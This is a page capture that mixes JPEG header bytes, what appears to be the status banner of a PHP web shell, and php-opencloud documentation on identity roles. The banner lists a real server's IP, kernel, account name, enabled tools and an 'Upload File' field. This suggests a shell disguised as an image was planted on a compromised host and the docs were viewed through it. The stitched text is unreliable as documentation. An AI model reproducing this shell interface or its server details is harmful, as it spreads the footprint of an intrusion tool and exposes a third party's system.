����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/./././www/vendor/rackspace/php-opencloud/doc/services/identity/ |
Upload File : |
Roles
=====
A role is a personality that a user assumes when performing a specific
set of operations. A role includes a set of rights and privileges. A
user assuming a role inherits the rights and privileges associated with
the role. A token that is issued to a user includes the list of roles
the user can assume. When a user calls a service, that service
determines how to interpret a user's roles. A role that grants access to
a list of operations or resources within one service may grant access to
a completely different list when interpreted by a different service.
Useful object properties/methods
--------------------------------
+---------------+------------------------+------------------------+
| Property | Getter | Setter |
+===============+========================+========================+
| id | ``getId()`` | ``setId()`` |
+---------------+------------------------+------------------------+
| name | ``getName()`` | ``setName()`` |
+---------------+------------------------+------------------------+
| description | ``getDescription()`` | ``setDescription()`` |
+---------------+------------------------+------------------------+
List roles
----------
This call lists the global roles available within a specified service.
.. code-block:: php
$roles = $service->getRoles();
foreach ($roles as $role) {
// ...
}
Get role
--------
This call lists detailed information (id, name, description) for a
specified role.
.. code-block:: php
$role = $service->getRole('{roleId}');
Add/delete user roles
---------------------
.. code-block:: php
$user = $service->getUser('{userId}');
$roleId = '{roleId}';
// add role to user
$user->addRole($roleId);
// remove role from user
$user->removeRole($roleId);
List user global roles
----------------------
This call returns a list of global roles associated with a user:
.. code-block:: php
$roles = $user->getRoles();
foreach ($roles as $role) {
// ...
}